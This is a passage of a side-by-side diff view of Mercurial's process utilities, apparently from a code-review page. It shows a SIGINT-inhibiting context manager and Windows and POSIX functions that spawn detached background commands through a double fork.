483 # us our child process terminated.
484 terminated = set()
484 terminated = set()
485
485
486 def handler(signum, frame):
486 def handler(signum, frame):
487 terminated.add(os.wait())
487 terminated.add(os.wait())
488
488
489 prevhandler = None
489 prevhandler = None
490 SIGCHLD = getattr(signal, 'SIGCHLD', None)
490 SIGCHLD = getattr(signal, 'SIGCHLD', None)
491 if SIGCHLD is not None:
491 if SIGCHLD is not None:
492 prevhandler = signal.signal(SIGCHLD, handler)
492 prevhandler = signal.signal(SIGCHLD, handler)
493 try:
493 try:
494 pid = spawndetached(args)
494 pid = spawndetached(args)
495 while not condfn():
495 while not condfn():
496 if (pid in terminated or not testpid(pid)) and not condfn():
496 if (pid in terminated or not testpid(pid)) and not condfn():
497 return -1
497 return -1
498 time.sleep(0.1)
498 time.sleep(0.1)
499 return pid
499 return pid
500 finally:
500 finally:
501 if prevhandler is not None:
501 if prevhandler is not None:
502 signal.signal(signal.SIGCHLD, prevhandler)
502 signal.signal(signal.SIGCHLD, prevhandler)
503
503
504
504
505 @contextlib.contextmanager
505 @contextlib.contextmanager
506 def uninterruptible(warn):
506 def uninterruptible(warn):
507 """Inhibit SIGINT handling on a region of code.
507 """Inhibit SIGINT handling on a region of code.
508
508
509 Note that if this is called in a non-main thread, it turns into a no-op.
509 Note that if this is called in a non-main thread, it turns into a no-op.
510
510
511 Args:
511 Args:
512 warn: A callable which takes no arguments, and returns True if the
512 warn: A callable which takes no arguments, and returns True if the
513 previous signal handling should be restored.
513 previous signal handling should be restored.
514 """
514 """
515
515
516 oldsiginthandler = [signal.getsignal(signal.SIGINT)]
516 oldsiginthandler = [signal.getsignal(signal.SIGINT)]
517 shouldbail = []
517 shouldbail = []
518
518
519 def disabledsiginthandler(*args):
519 def disabledsiginthandler(*args):
520 if warn():
520 if warn():
521 signal.signal(signal.SIGINT, oldsiginthandler[0])
521 signal.signal(signal.SIGINT, oldsiginthandler[0])
522 del oldsiginthandler[0]
522 del oldsiginthandler[0]
523 shouldbail.append(True)
523 shouldbail.append(True)
524
524
525 try:
525 try:
526 try:
526 try:
527 signal.signal(signal.SIGINT, disabledsiginthandler)
527 signal.signal(signal.SIGINT, disabledsiginthandler)
528 except ValueError:
528 except ValueError:
529 # wrong thread, oh well, we tried
529 # wrong thread, oh well, we tried
530 del oldsiginthandler[0]
530 del oldsiginthandler[0]
531 yield
531 yield
532 finally:
532 finally:
533 if oldsiginthandler:
533 if oldsiginthandler:
534 signal.signal(signal.SIGINT, oldsiginthandler[0])
534 signal.signal(signal.SIGINT, oldsiginthandler[0])
535 if shouldbail:
535 if shouldbail:
536 raise KeyboardInterrupt
536 raise KeyboardInterrupt
537
537
538
538
539 if pycompat.iswindows:
539 if pycompat.iswindows:
540 # no fork on Windows, but we can create a detached process
540 # no fork on Windows, but we can create a detached process
541 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
541 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
542 # No stdlib constant exists for this value
542 # No stdlib constant exists for this value
543 DETACHED_PROCESS = 0x00000008
543 DETACHED_PROCESS = 0x00000008
544 # Following creation flags might create a console GUI window.
544 # Following creation flags might create a console GUI window.
545 # Using subprocess.CREATE_NEW_CONSOLE might helps.
545 # Using subprocess.CREATE_NEW_CONSOLE might helps.
546 # See https://phab.mercurial-scm.org/D1701 for discussion
546 # See https://phab.mercurial-scm.org/D1701 for discussion
547 _creationflags = (
547 _creationflags = (
548 DETACHED_PROCESS
548 DETACHED_PROCESS
549 | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr
549 | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr
550 )
550 )
551
551
552 def runbgcommand(
552 def runbgcommand(
553 script, env, shell=False, stdout=None, stderr=None, ensurestart=True
553 script, env, shell=False, stdout=None, stderr=None, ensurestart=True
554 ):
554 ):
555 '''Spawn a command without waiting for it to finish.'''
555 '''Spawn a command without waiting for it to finish.'''
556 # we can't use close_fds *and* redirect stdin. I'm not sure that we
556 # we can't use close_fds *and* redirect stdin. I'm not sure that we
557 # need to because the detached process has no console connection.
557 # need to because the detached process has no console connection.
558 subprocess.Popen(
558 subprocess.Popen(
559 tonativestr(script),
559 tonativestr(script),
560 shell=shell,
560 shell=shell,
561 env=tonativeenv(env),
561 env=tonativeenv(env),
562 close_fds=True,
562 close_fds=True,
563 creationflags=_creationflags,
563 creationflags=_creationflags,
564 stdout=stdout,
564 stdout=stdout,
565 stderr=stderr,
565 stderr=stderr,
566 )
566 )
567
567
568
568
569 else:
569 else:
570
570
571 def runbgcommand(
571 def runbgcommand(
572 cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True
572 cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True
573 ):
573 ):
574 '''Spawn a command without waiting for it to finish.'''
574 '''Spawn a command without waiting for it to finish.'''
575 # double-fork to completely detach from the parent process
575 # double-fork to completely detach from the parent process
576 # based on http://code.activestate.com/recipes/278731
576 # based on http://code.activestate.com/recipes/278731
577 pid = os.fork()
577 pid = os.fork()
578 if pid:
578 if pid:
579 if not ensurestart:
579 if not ensurestart:
580 return
580 return
581 # Parent process
581 # Parent process
582 (_pid, status) = os.waitpid(pid, 0)
582 (_pid, status) = os.waitpid(pid, 0)
583 if os.WIFEXITED(status):
583 if os.WIFEXITED(status):
584 returncode = os.WEXITSTATUS(status)
584 returncode = os.WEXITSTATUS(status)
585 else:
585 else:
586 returncode = -(os.WTERMSIG(status))
586 returncode = -(os.WTERMSIG(status))
587 if returncode != 0:
587 if returncode != 0:
588 # The child process's return code is 0 on success, an errno
588 # The child process's return code is 0 on success, an errno
589 # value on failure, or 255 if we don't have a valid errno
589 # value on failure, or 255 if we don't have a valid errno
590 # value.
590 # value.
591 #
591 #
592 # (It would be slightly nicer to return the full exception info
592 # (It would be slightly nicer to return the full exception info
593 # over a pipe as the subprocess module does. For now it
593 # over a pipe as the subprocess module does. For now it
594 # doesn't seem worth adding that complexity here, though.)
594 # doesn't seem worth adding that complexity here, though.)
595 if returncode == 255:
595 if returncode == 255:
596 returncode = errno.EINVAL
596 returncode = errno.EINVAL
597 raise OSError(
597 raise OSError(
598 returncode,
598 returncode,
599 b'error running %r: %s' % (cmd, os.strerror(returncode)),
599 b'error running %r: %s' % (cmd, os.strerror(returncode)),
600 )
600 )
601 return
601 return
602
602
603 returncode = 255
603 returncode = 255
604 try:
604 try:
605 # Start a new session
605 # Start a new session
606 os.setsid()
606 os.setsid()
607
607
608 stdin = open(os.devnull, b'r')
608 stdin = open(os.devnull, b'r')
609 if stdout is None:
609 if stdout is None:
610 stdout = open(os.devnull, b'w')
610 stdout = open(os.devnull, b'w')
611 if stderr is None:
611 if stderr is None:
612 stderr = open(os.devnull, b'w')
612 stderr = open(os.devnull, b'w')
613
613
614 # connect stdin to devnull to make sure the subprocess can't
614 # connect stdin to devnull to make sure the subprocess can't
615 # muck up that stream for mercurial.
615 # muck up that stream for mercurial.
616 subprocess.Popen(
616 subprocess.Popen(
617 cmd,
617 cmd,
618 shell=shell,
618 shell=shell,
619 env=env,
619 env=env,
620 close_fds=True,
620 close_fds=True,
621 stdin=stdin,
621 stdin=stdin,
622 stdout=stdout,
622 stdout=stdout,
623 stderr=stderr,
623 stderr=stderr,
624 )
624 )
625 returncode = 0
625 returncode = 0
626 except EnvironmentError as ex:
626 except EnvironmentError as ex:
627 returncode = ex.errno & 0xFF
627 returncode = ex.errno & 0xFF
628 if returncode == 0:
628 if returncode == 0:
629 # This shouldn't happen, but just in case make sure the
629 # This shouldn't happen, but just in case make sure the
630 # return code is never 0 here.
630 # return code is never 0 here.
631 returncode = 255
631 returncode = 255
632 except Exception:
632 except Exception:
633 returncode = 255
633 returncode = 255
634 finally:
634 finally:
635 # mission accomplished, this child needs to exit and not
635 # mission accomplished, this child needs to exit and not
636 # continue the hg process here.
636 # continue the hg process here.
637 os._exit(returncode)
637 os._exit(returncode)
General Comments 0
You need to be logged in to leave comments. Login now